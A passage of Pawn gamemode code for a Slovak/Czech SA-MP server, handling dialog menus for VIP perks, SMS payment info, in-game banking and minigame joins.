                if(listitem == 0) ShowPlayerDialog(playerid,Dialog_VIP_Cmenu,DIALOG_STYLE_LIST,"VIP Colors","Black\nWhite\nRed\nBlue\nGreen\nYellow\nSilver\nPink\nSpecial","OK","Cancel");
                if(listitem == 1)
                {
                    if(IsPlayerInAnyVehicle(playerid))
                    {
                        SendClientMessage(playerid,COLOR_GOLD,"[  VIP  ] Pridal si si do auta Nitro !");
                             if(Player[playerid][VIP]==2) VIP_Block[playerid][vcar]=60;
                        else if(Player[playerid][VIP]==3) VIP_Block[playerid][vcar]=30;
                        AddVehicleComponent(GetPlayerVehicleID(playerid), 1010);
                    }
                }
                if(listitem == 2)
                {
                    if(IsPlayerInAnyVehicle(playerid))
                    {
                        SendClientMessage(playerid,COLOR_GOLD,"[  VIP  ] Pridal si si do auta Hydrauliku !");
                             if(Player[playerid][VIP]==2) VIP_Block[playerid][vcar]=60;
                        else if(Player[playerid][VIP]==3) VIP_Block[playerid][vcar]=30;
                        AddVehicleComponent(GetPlayerVehicleID(playerid), 1087);
                    }
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_VIP_Pay_skcz)
        {
            if(response == 0) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Ako zaplatit VIP","{ff0000}CZ:{ffffff}\nBronze\n30kč ... 40 dnů ... xxxxxxx\nSilver\n50kč ... 40 dnů ... xxxxxxx\nGold\n99kč ... 50 dnů ... xxxxxxx\n\nText SMS Správy:\nxx(mezera)xxx(mezera)xx\n\nPříklad:\n{aaaaaa}xx xxx xx{ffffff} na xxxxxxx a máš VIP Silver na 40 dnů za 50kč !\n\nVíce na www.comingsoon","OK","");
            if(response == 1) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Ako zaplatit VIP","{ff0000}SK:{ffffff}\nBronze\n1.00€ ... 40 dní ... xxxx\nSilver\n1.60€ ... 34 dní ... xxxx\nGold\n3.20€ ... 42 dní ... xxxx (2x SMS za 1.60€)\n\nText SMS Správy:\nxx(mezera)xxx(mezera)xx\n\nPríklad:\n{aaaaaa}xx xxx xx{ffffff} na xxxx a máš VIP Silver na 34 dní za 1.60€ !\n\nViac na www.comingsoon","OK","");
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Locator)
        {
            if(response == 1)
            {
                Player[playerid][IPIP]=false;
                if(GetPlayerACMoney(playerid)<30000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazí (30 000$) !");
                else
                {
                    FormatPlayerInfoBox(playerid,"~g~Street Life","~b~Ovladanie~n~~n~~w~Up, Down, Left, Right~n~~b~Zoom ~w~LMB (key fire)~n~~b~Unzoom ~w~RMB (key aim)~n~~b~Exit ~w~ENTER",5000);
                    UpdateExTimer[playerid]=SetTimerEx("SuperLocatorUpdate",70,1,"i",playerid);

                    Locator[playerid][State]=true;
                    Locator[playerid][pX]=0;
                    Locator[playerid][pY]=0;
                    Locator[playerid][pZ]=50;

                    Player[playerid][SavedColor]=GetPlayerColor(playerid);
                    HidePlayerMarker(playerid);

                    TogglePlayerControllable(playerid,0);

                    GivePlayerACMoney(playerid, -30000);

                    SetPlayerCameraPos(playerid,Locator[playerid][pX],Locator[playerid][pY],Locator[playerid][pZ]);
                    SetPlayerCameraLookAt(playerid,Locator[playerid][pX],Locator[playerid][pY],Locator[playerid][pZ]-25);
                }
            }
             if(response == 0) Player[playerid][IPIP]=false;
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_NoEffect)
        {
            if(response == 1) Player[playerid][IPIP]=false;
            if(response == 0) Player[playerid][IPIP]=false;
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Vypoved)
        {
            if(response == 1)
            {
                SendClientMessage(playerid,COLOR_WHITE,"Podal si výpoveď !");
                Player[playerid][Team]=0;
                SetPlayerColor(playerid, COLOR_WHITE);
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
            }
             if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_menu)
        {
            if(response == 1)
            {
                if(listitem == 0)
                {
                    if(Player[playerid][ME2_Player]!=9999 || Player[playerid][NFSSA_Player]!=9999 || Player[playerid][D_Player]!=9999 || Player[playerid][TA_Player]!=9999 || Player[playerid][SP_Player]!=9999 || Player[playerid][DA_Player]!=9999 || Player[playerid][MTBR_Player]!=9999) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Najprv musíš vypnuť hru !   ->   {b8b8b8}/kill");
                    else if(GetPlayerVehicleID(playerid) > 0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemôžeš používať Notebook keď si vo vozidle !");
                    else if(Player[playerid][BrigadaID] != 9999) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemôžeš hráť hry keď plníš misiu !");
                    else ShowPlayerDialog(playerid,Dialog_Notebook_Games,DIALOG_STYLE_LIST,"Notebook / Games","Mirrors Edge 2\nNeed For Speed - San Andreas\nDemolation Derby\nTerrorist's Assault\nStunt Park\nDuel Arena\nDrift Training Centrum\nMTB Ride","OK","Cancel");
                }
                if(listitem == 1)
                {
                    format(gBIGSTRING,sizeof(gBIGSTRING),"Notebook / Internet Banking - %d$",Player[playerid][InternetBank]);
                    ShowPlayerDialog(playerid,Dialog_Notebook_IBm,DIALOG_STYLE_LIST,gBIGSTRING,"Vložiť\nVybrať","OK","Cancel");
                }
                if(listitem == 2)
                {
                    if(SANEWS[State]==false)
                    {
                        Player[playerid][UseNotebook]=false;
                        ShowPlayerDialog(playerid,Dialog_Notebook_menu,DIALOG_STYLE_LIST,"Notebook","Games\nInternet Banking\nExtra Chat\nOnline TV","OK","Cancel");
                        return SendClientMessage(playerid,COLOR_WARNING,"Momentálne neprebieha žiadné vysielanie !");
                    }
                    else if(Player[playerid][UseNotebookTV]==true)
                    {
                        Player[playerid][UseNotebook]=false;
                        return SendClientMessage(playerid,COLOR_WARNING,"Už sleduješ vysielanie !");
                    }
                    else
                    {
                        SendClientMessage(playerid,COLOR_ORANGE,"Pre vypnutie Online TV použi /kill");
                        SetPlayerCameraPos(playerid,SANEWS[cX],SANEWS[cY],SANEWS[cZ]);
                        SetPlayerCameraLookAt(playerid,SANEWS[lX],SANEWS[lY],SANEWS[lZ]);
                        SavePlayerLastStats(playerid);
                        SetPlayerPos(playerid, SANEWS[cX], SANEWS[cY], -40);
                        TogglePlayerControllable(playerid, 0);
                        Player[playerid][UseNotebookTV]=true;
                        Player[playerid][UseNotebook]=true;
                    }
                }
            }
             if(response == 0) Player[playerid][UseNotebook]=false;
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_IBm)
        {
            if(response == 1)
            {
            new Text2[128];
                if(listitem == 0)
                {
                    format(Text2,128,"Stav účtu: %d$ / 500000$\nVklad na účet:",Player[playerid][InternetBank]);
                    ShowPlayerDialog(playerid,Dialog_Notebook_IBs,DIALOG_STYLE_INPUT,"Notebook / Internet Banking / Vklad",Text2,"Vložiť","Cancel");
                }
                if(listitem == 1)
                {
                    format(Text2,128,"Stav účtu: %d$ / 500000$\nVýber z účtu:",Player[playerid][InternetBank]);
                    ShowPlayerDialog(playerid,Dialog_Notebook_IBg,DIALOG_STYLE_INPUT,"Notebook / Internet Banking / Výber",Text2,"Vybrať","Cancel");
                }
            }
             if(response == 0) Player[playerid][UseNotebook]=false;
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_IBs)
        {
            if(response == 1)
            {
                Player[playerid][UseNotebook]=false;
                new Text2[128];
                if(!strlen(inputtext))
                {
                    format(Text2,128,"{ff0000}Nezadal si sumu !\n{ffffff}Stav účtu: %d$ / 500000$\nVklad na účet:",Player[playerid][InternetBank]);
                    return ShowPlayerDialog(playerid,Dialog_Notebook_IBs,DIALOG_STYLE_INPUT,"Notebook / Internet Banking / Vklad",Text2,"Vložit","Cancel");
                }
                else if(strval(inputtext)<=0)
                {
                    format(Text2,128,"{ff0000}Nemôžeš zadať 0 alebo menšie číslo !\n{ffffff}Stav účtu: %d$ / 500000$\nVklad na účet:",Player[playerid][InternetBank]);
                    return ShowPlayerDialog(playerid,Dialog_Notebook_IBs,DIALOG_STYLE_INPUT,"Notebook / Internet Banking / Vklad",Text2,"Vložit","Cancel");
                }
                else if(strval(inputtext)>GetPlayerACMoney(playerid))
                {
                    format(Text2,128,"{ff0000}Nemáš dostatok peňazi !\n{ffffff}Stav účtu: %d$ / 500000$\nVklad na účet:",Player[playerid][InternetBank]);
                    return ShowPlayerDialog(playerid,Dialog_Notebook_IBs,DIALOG_STYLE_INPUT,"Notebook / Internet Banking / Vklad",Text2,"Vložit","Cancel");
                }
                else if(Player[playerid][InternetBank]==500000)
                {
                    format(Text2,128,"{ff0000}Máš plné konto !\n{ffffff}Stav účtu: %d$ / 500000$\nVklad na účet:",Player[playerid][InternetBank]);
                    return ShowPlayerDialog(playerid,Dialog_Notebook_IBs,DIALOG_STYLE_INPUT,"Notebook / Internet Banking / Vklad",Text2,"Vložit","Cancel");
                }
                else
                {
                    new money;
                    if((Player[playerid][InternetBank]+strval(inputtext))>500000) money=(500000-Player[playerid][InternetBank]);
                    else money=strval(inputtext);
                    Player[playerid][InternetBank]+=money;
                    if(Player[playerid][InternetBank]>500000) Player[playerid][InternetBank]=500000;
                    GivePlayerACMoney(playerid,-money);

                    format(Text2,128,"{00C000}Úspešne si si uložil na účet %d$ !\n{ffffff}Stav účtu: %d$ / 500000$",money,Player[playerid][InternetBank]);

                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Notebook / Internet Banking / Vklad",Text2,"OK","Cancel");
                }
            }
             if(response == 0) Player[playerid][UseNotebook]=false;
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_IBg)
        {
            if(response == 1)
            {
                Player[playerid][UseNotebook]=false;
                new Text2[128];

                if(!strlen(inputtext))
                {
                    format(Text2,128,"{ff0000}Nezadal si sumu !\n{ffffff}Stav účtu: %d$ / 500000$\nVýber z účtu:",Player[playerid][InternetBank]);
                    return ShowPlayerDialog(playerid,Dialog_Notebook_IBs,DIALOG_STYLE_INPUT,"Notebook / Internet Banking / Výběr",Text2,"Vybrat","Cancel");
                }
                else if(strval(inputtext)<=0)
                {
                    format(Text2,128,"{ff0000}Nemôžeš zadat 0 alebo menšie číslo !\n{ffffff}Stav účtu: %d$ / 500000$\nVýber z účtu:",Player[playerid][InternetBank]);
                    return ShowPlayerDialog(playerid,Dialog_Notebook_IBs,DIALOG_STYLE_INPUT,"Notebook / Internet Banking / Výber",Text2,"Vybrat","Cancel");
                }
                else if(strval(inputtext)>Player[playerid][InternetBank])
                {
                    format(Text2,128,"{ff0000}Nemáš na konte dostatok peňazi !\n{ffffff}Stav účtu: %d$ / 500000$\nVýběr z účtu:",Player[playerid][InternetBank]);
                    return ShowPlayerDialog(playerid,Dialog_Notebook_IBs,DIALOG_STYLE_INPUT,"Notebook / Internet Banking / Výber",Text2,"Vybrat","Cancel");
                }
                else
                {
                    Player[playerid][InternetBank]-=strval(inputtext);
                    if(Player[playerid][InternetBank]<0) Player[playerid][InternetBank]=0;
                    GivePlayerACMoney(playerid,strval(inputtext));
                    format(Text2,128,"{00C000}Úspešne si si vybral z účtu %d$ !\n{ffffff}Stav účtu: %d$ / 500000$",strval(inputtext),Player[playerid][InternetBank]);
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Notebook / Internet Banking / Výběr",Text2,"OK","Cancel");
                }
            }
             if(response == 0) Player[playerid][UseNotebook]=false;
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_Games)
        {
            if(response == 1)
            {
                new Text2_1[256], Text2_2[256], Text2_3[256], Text2_4[256], Text2_5[256], Text2_6[256], Text2_7[256], Text2_8[256], status_1[32], status_2[32], status_3[32], status_6[32], status_8[32];
                     if(Game[ME2_State]==0) status_1="Waiting For Players";
                else if(Game[ME2_State]!=0) status_1="Statred";
                     if(Game[NFSSA_State]==0) status_2="Waiting For Players";
                else if(Game[NFSSA_State]!=0) status_2="Statred";
                     if(Game[D_State]==0) status_3="Waiting For Players";
                else if(Game[D_State]!=0) status_3="Statred";
                     if(Game[DA_State]==0) status_6="Waiting For Player";
                else if(Game[DA_State]==1) status_6="Statred";
                     if(Game[MTBR_State]==0) status_8="Waiting For Players";
                else if(Game[MTBR_State]!=0) status_8="Statred";

                format(Text2_1,256,"Mirrors Edge 2\n\nŽáner: Parkour, Freerunning\nTyp: Závod\nOnline Players: %d\nStatus: %s\n\nNapodobenina originálnej hry Mirrors Edge,\nv ktorej sa musíte ako prvý dostať na koniec trate.",Game[ME2_Players],status_1);
                format(Text2_2,256,"Need For Speed - San Andreas\n\nŽáner: Poulične závody\nTyp: Závod\nOnline Players: %d\nStatus: %s\n\nDalšie pokračovanie hry Need For Speed,\nv ktorej musíte dôjsť ako prvý do cieľa z,\njedným zo svojích miláčkov (aut) zo svojeho domu.",Game[NFSSA_Players],status_2);
                format(Text2_3,256,"Demolation Derby\n\nŽáner: Buračky\nTyp: Derby\nOnline Players: %d\nStatus: %s\n\nSupr hra Demolation Derby v ktorej musíte z\njedným zo svojích miláčkov (aut) z domu vyradit svojích protihráčov.",Game[D_Players],status_3);
                format(Text2_4,256,"Terrorist's Assault\n\nŽáner: Prestrelky\nTyp: Prestrelky\nOnline Players: %d\n\nV strede mesta San Fierro vypukla vojna medzi Policii a Teroristamy.\nPridaj sa k jednému z teamu a poraz svojích superov.",Game[TA_Players]);
                format(Text2_5,256,"Stunt Park\n\nŽáner: Stunty\nTyp: Stunty\nOnline Players: %d\n\nStuntová hala plná úžasných skokov a tratí.",Game[SP_Players]);
                format(Text2_6,256,"Duel Arena\n\nŽáner: Prestrelky\nTyp: Duel\nOnline Players: %d\nStatus: %s\n\nDuel Aréna v ktoréj si môžeš odtestovať svoje\nstrelecké schopnosti zo Sawn-Off.",Game[DA_Players],status_6);
                format(Text2_7,256,"Drift Training Centrum\n\nŽáner: Drift\nTyp: Závod\nOnline Players: %d\n\nCentrum v ktorom si môžeš trénovať Drift.",Game[DTC_Players]);
                format(Text2_8,256,"MTB Ride\n\nŽáner: MTB Závod\nTyp: Závod\nOnline Players: %d\nStatus: %s\n\nTrať pre Mountain Biky zo skokmi.",Game[MTBR_Players],status_8);

                if(listitem == 0) ShowPlayerDialog(playerid,Dialog_Notebook_G_ME2,DIALOG_STYLE_MSGBOX,"Notebook / Games / Mirrors Edge 2",Text2_1,"Play","Cancel");
                if(listitem == 1) ShowPlayerDialog(playerid,Dialog_Notebook_G_NFSSA,DIALOG_STYLE_MSGBOX,"Notebook / Games / Need For Speed - San Andreas",Text2_2,"OK","Cancel");
                if(listitem == 2) ShowPlayerDialog(playerid,Dialog_Notebook_G_D,DIALOG_STYLE_MSGBOX,"Notebook / Games / Demolation Derby",Text2_3,"OK","Cancel");
                if(listitem == 3) ShowPlayerDialog(playerid,Dialog_Notebook_G_TA,DIALOG_STYLE_MSGBOX,"Notebook / Games / Terrorist's Assault",Text2_4,"OK","Cancel");
                if(listitem == 4) ShowPlayerDialog(playerid,Dialog_Notebook_G_SP,DIALOG_STYLE_MSGBOX,"Notebook / Games / Stunt Park",Text2_5,"OK","Cancel");
                if(listitem == 5) ShowPlayerDialog(playerid,Dialog_Notebook_G_DA,DIALOG_STYLE_MSGBOX,"Notebook / Games / Duel Arena",Text2_6,"OK","Cancel");
                if(listitem == 6) ShowPlayerDialog(playerid,Dialog_Notebook_G_DTC,DIALOG_STYLE_MSGBOX,"Notebook / Games / Drift Training Centrum",Text2_7,"OK","Cancel");
                if(listitem == 7) ShowPlayerDialog(playerid,Dialog_Notebook_G_MTBR,DIALOG_STYLE_MSGBOX,"Notebook / Games / MTB Ride",Text2_8,"OK","Cancel");
            }
             if(response == 0) Player[playerid][UseNotebook]=false;
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_ME2)
        {
            if(response == 1)
            {
                if(Game[ME2_State]==0) SendClientMessage(playerid,COLOR_WHITE,"Počkaj až závod začne");
                else if(Game[ME2_Players]>=Game[ME2_MaxPlayers]) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Už je v hre pripojený maximálný počet hrácov !");
                else SendClientMessage(playerid,COLOR_WHITE,"Počkej až závod skončí");

                if(Game[ME2_State]==1)
                {
                    PlayerCameraBack(playerid);
                    SendClientMessage(playerid,COLOR_YELLOW,"Chod podla checkpointov až na koniec trati.");
                    DisablePlayerCheckpoint(playerid);
                    SetPlayerCheckpoint(playerid,-1760.2420654297,1029.2882080078,98.0390625,2);
                    Checkpoint[playerid][Series]=2;
                    Checkpoint[playerid][Number]=0;
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s (%d) sa pripojil do Mirrors Edge 2 !",Name,playerid);
                SendClientMessageToAll(COLOR_WHITE,msg);
                OnPlayerJoinToMirrorsEdge2(playerid);
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_NFSSA)
        {
            if(response == 1)
            {
                if(Player[playerid][HouseP]==9999)                         return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Aby si mohol závodiť musíš mať pri dome nejaké vozidlo !");
                else if(Game[NFSSA_Players]>=Game[NFSSA_MaxPlayers])     return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Už je v hre pripojený maximálný počet hráčov !");
                else
                {
                    new Text2[256];
                    new way[32];
                    format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);

                         if(HouseStates[Player[playerid][HouseP]][Vehicles]==1) format(Text2,256,"1. %s",dini_Get(way,"V0_name"));
                    else if(HouseStates[Player[playerid][HouseP]][Vehicles]==2) format(Text2,256,"1. %s\n2. %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"));
                    else if(HouseStates[Player[playerid][HouseP]][Vehicles]==3) format(Text2,256,"1. %s\n2. %s\n3. %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"),dini_Get(way,"V2_name"));
                    else if(HouseStates[Player[playerid][HouseP]][Vehicles]==4) format(Text2,256,"1. %s\n2. %s\n3. %s\n4. %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"),dini_Get(way,"V2_name"),dini_Get(way,"V3_name"));
                    else if(HouseStates[Player[playerid][HouseP]][Vehicles]==5) format(Text2,256,"1. %s\n2. %s\n3. %s\n4. %s\n5. %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"),dini_Get(way,"V2_name"),dini_Get(way,"V3_name"),dini_Get(way,"V4_name"));

                    ShowPlayerDialog(playerid,Dialog_Notebook_G_NFSSA_V,DIALOG_STYLE_LIST,"Notebook / Games / Need For Speed - San Andreas / Play",Text2,"Play","Cancel");

                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_MTBR)
        {
            if(response == 1)
            {
                if(Game[MTBR_Players] >= Game[MTBR_MaxPlayers]) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Už je v hre pripojený maximálný počet hráčov !");
                else if(Game[MTBR_State] != 0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Závod už začal ! Počkaj až závod skončí !");
                else
                {
                    OnPlayerJoinToMTBR(playerid);

                    MTBR_Bike[Player[playerid][MTBR_Player]] = CreateVehicle(510,0,0,0,0,random(126),random(126),300);
                    SetVehicleVirtualWorld(MTBR_Bike[Player[playerid][MTBR_Player]], 1007);

                    new Name[24], msg[128];
                    GetPlayerName(playerid,Name,24);
                    format(msg,128, "Hráč %s (%d) sa pripojil do MTB Ride !", Name, playerid);
                    SendClientMessageToAll(COLOR_WHITE, msg);
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_NFSSA_V)
        {
            if(response == 1)
            {
                Player[playerid][HouseVehicleType]=listitem;
                new way[32];
                format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);
                new v_id[32];
                format(v_id,32,"V%d_id",Player[playerid][HouseVehicleType]);

                if(dini_Int(way,v_id)==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Na tomto slote nemáš žiadné vozidlo !");
                else if(Game[NFSSA_State]==0) SendClientMessage(playerid,COLOR_WHITE,"Počkaj až závod začne");

                if(Game[NFSSA_State]==1)
                {
                    PlayerCameraBack(playerid);
                    SendClientMessage(playerid,COLOR_YELLOW,"Chod podla checkpointov až na koniec trati.");
                    DisablePlayerRaceCheckpoint(playerid);
                    SetPlayerRaceCheckpoint(playerid,0,192.95909118652,-1495.5798339844,12.814994812012,786.49407958984,-1153.3426513672,23.617588043213,15);
                    Checkpoint[playerid][Series]=3;
                    Checkpoint[playerid][Number]=0;
                }
                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s (%d) sa pripojil do Need For Speed - San Andreas !",Name,playerid);
                SendClientMessageToAll(COLOR_WHITE,msg);
                OnPlayerJoinToNFSSA(playerid);
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_D)
        {
            if(response == 1)
            {
                if(Player[playerid][HouseP]==9999)                 return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Aby si mohol závodit musíš mať pri dome nejaké vozidlo !");
                else if(Game[D_State]!=0)                        return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Derby boli už odštartovane, počkaj na dalšie kolo !");
                else if(Game[D_Players] >= Game[D_MaxPlayers])     return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Už je v hre pripojený maximálny počet hráčov !");
                else
                {
                    new Text2[256];
                    new way[32];
                    format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);

                         if(HouseStates[Player[playerid][HouseP]][Vehicles]==1) format(Text2,256,"1. %s",dini_Get(way,"V0_name"));
                    else if(HouseStates[Player[playerid][HouseP]][Vehicles]==2) format(Text2,256,"1. %s\n2. %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"));
                    else if(HouseStates[Player[playerid][HouseP]][Vehicles]==3) format(Text2,256,"1. %s\n2. %s\n3. %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"),dini_Get(way,"V2_name"));
                    else if(HouseStates[Player[playerid][HouseP]][Vehicles]==4) format(Text2,256,"1. %s\n2. %s\n3. %s\n4. %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"),dini_Get(way,"V2_name"),dini_Get(way,"V3_name"));
                    else if(HouseStates[Player[playerid][HouseP]][Vehicles]==5) format(Text2,256,"1. %s\n2. %s\n3. %s\n4. %s\n5. %s",dini_Get(way,"V0_name"),dini_Get(way,"V1_name"),dini_Get(way,"V2_name"),dini_Get(way,"V3_name"),dini_Get(way,"V4_name"));

                    ShowPlayerDialog(playerid,Dialog_Notebook_G_D_V,DIALOG_STYLE_LIST,"Notebook / Games / Demolation Derby / Play",Text2,"Play","Cancel");
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_D_V)
        {
            if(response == 1)
            {
                Player[playerid][HouseVehicleType]=listitem;
                new way[32];
                format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);
                new v_id[32];
                format(v_id,32,"V%d_id",Player[playerid][HouseVehicleType]);

                if(dini_Int(way,v_id)==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Na tomto slote nemáš žiadné vozidlo !");
                else if(Game[D_State]==0) SendClientMessage(playerid,COLOR_WHITE,"Počkaj až závod začne");

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s (%d) sa pripojil do Demolation Derby !",Name,playerid);
                SendClientMessageToAll(COLOR_WHITE,msg);
                OnPlayerJoinToDemolationDerby(playerid);
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_TA)
        {
            if(response == 1) ShowPlayerDialog(playerid,Dialog_Notebook_G_TA_T,DIALOG_STYLE_LIST,"Notebook / Games / Terrorist's Assault / Play","Policia\nTeroristi","OK","Cancel");
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_TA_T)
        {
            if(response == 1)
            {
                if(listitem == 0)
                {
                    Player[playerid][TA_Player]=101;
                    ShowPlayerDialog(playerid,Dialog_Notebook_G_TA_F,DIALOG_STYLE_LIST,"Notebook / Games / Terrorist's Assault / Play / Policia","Policia\nFBI\nSWAT\nSniper\nPyrotechnik","OK","Cancel");

                }
                if(listitem == 1)
                {
                    Player[playerid][TA_Player]=100;
                    ShowPlayerDialog(playerid,Dialog_Notebook_G_TA_F,DIALOG_STYLE_LIST,"Notebook / Games / Terrorist's Assault / Play / Teroristi","Útok\nObrana\nŤažké zbrane\nNinja\nPyrotechnik","OK","Cancel");
                }
            }
        }/////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_TA_F)
        {
            if(response == 1)
            {
                if(listitem == 0)
                {
                         if(Player[playerid][TA_Player]==100) Player[playerid][TA_Player]=0;
                    else if(Player[playerid][TA_Player]==101) Player[playerid][TA_Player]=5;
                }
                if(listitem == 1)
                {
                         if(Player[playerid][TA_Player]==100) Player[playerid][TA_Player]=1;
                    else if(Player[playerid][TA_Player]==101) Player[playerid][TA_Player]=6;
                }
                if(listitem == 2)
                {
                         if(Player[playerid][TA_Player]==100) Player[playerid][TA_Player]=2;
                    else if(Player[playerid][TA_Player]==101) Player[playerid][TA_Player]=7;
                }
                if(listitem == 3)
                {
                         if(Player[playerid][TA_Player]==100) Player[playerid][TA_Player]=3;
                    else if(Player[playerid][TA_Player]==101) Player[playerid][TA_Player]=8;
                }
                if(listitem == 4)
                {
                         if(Player[playerid][TA_Player]==100) Player[playerid][TA_Player]=4;
                    else if(Player[playerid][TA_Player]==101) Player[playerid][TA_Player]=9;
                }
                new Name[24], msg[256];
                GetPlayerName(playerid,Name,24);

                     if(Player[playerid][TA_Player]==5) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {0090FF}Policajt{ffffff} - Policia !",Name,playerid);
                else if(Player[playerid][TA_Player]==6) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {0090FF}Policajt{ffffff} - FBI !",Name,playerid);
                else if(Player[playerid][TA_Player]==7) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {0090FF}Policajt{ffffff} - SWAT !",Name,playerid);
                else if(Player[playerid][TA_Player]==8) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {0090FF}Policajt{ffffff} - Sniper !",Name,playerid);
                else if(Player[playerid][TA_Player]==9) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {0090FF}Policajt{ffffff} - Pyrotechnik !",Name,playerid);
                else if(Player[playerid][TA_Player]==0) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {ff0000}Terorista{ffffff} - Útok !",Name,playerid);
                else if(Player[playerid][TA_Player]==1) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {ff0000}Terorista{ffffff} - Obrana !",Name,playerid);
                else if(Player[playerid][TA_Player]==2) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {ff0000}Terorista{ffffff} - Ťažké zbrane !",Name,playerid);
                else if(Player[playerid][TA_Player]==3) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {ff0000}Terorista{ffffff} - Ninja !",Name,playerid);
                else if(Player[playerid][TA_Player]==4) format(msg,256,"Hráč %s (%d) sa pripojil do Terrorist's Assault ako {ff0000}Terorista{ffffff} - Pyrotechnik !",Name,playerid);

                SendClientMessageToAll(COLOR_WHITE,msg);
                Game[TA_Players]++;
                DestroyPlayerObjects(playerid,100,MAX_PLAYER_CREATED_OBJECTS);
                CreatePlayerObjects(playerid,229,249);
                SavePlayerLastStats(playerid);
                SpawnPlayer(playerid);
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_SP)
        {
            if(response == 1)
            {
                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s (%d) sa pripojil do Stunt Parku !",Name,playerid);
                SendClientMessageToAll(COLOR_WHITE,msg);
                OnPlayerJoinToStuntPark(playerid);
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_DA)
        {
            if(response == 1)
            {
                if(Game[DA_Players] >= 2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Práve prebieha Duel, počkaj až skončí !");
                else
                {
                    new Name[24], msg[128];
                    GetPlayerName(playerid,Name,24);
                    format(msg,128,"Hráč %s (%d) sa pripojil do Duel Arény!",Name,playerid);
                    SendClientMessageToAll(COLOR_WHITE,msg);
                    OnPlayerJoinToDuelArena(playerid);
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Notebook_G_DTC)
        {
            if(response == 1)
            {
                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s (%d) sa pripojil do Drift Training Centra !",Name,playerid);
                SendClientMessageToAll(COLOR_WHITE,msg);
                FormatPlayerInfoBox(playerid, "~g~Napoveda", "~w~Ak si chces zapnut drift mod pouzi:~n~~y~/drift", 6000);
                OnPlayerJoinToDTC(playerid);
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Jizzy)
        {
            if(response == 1)
            {
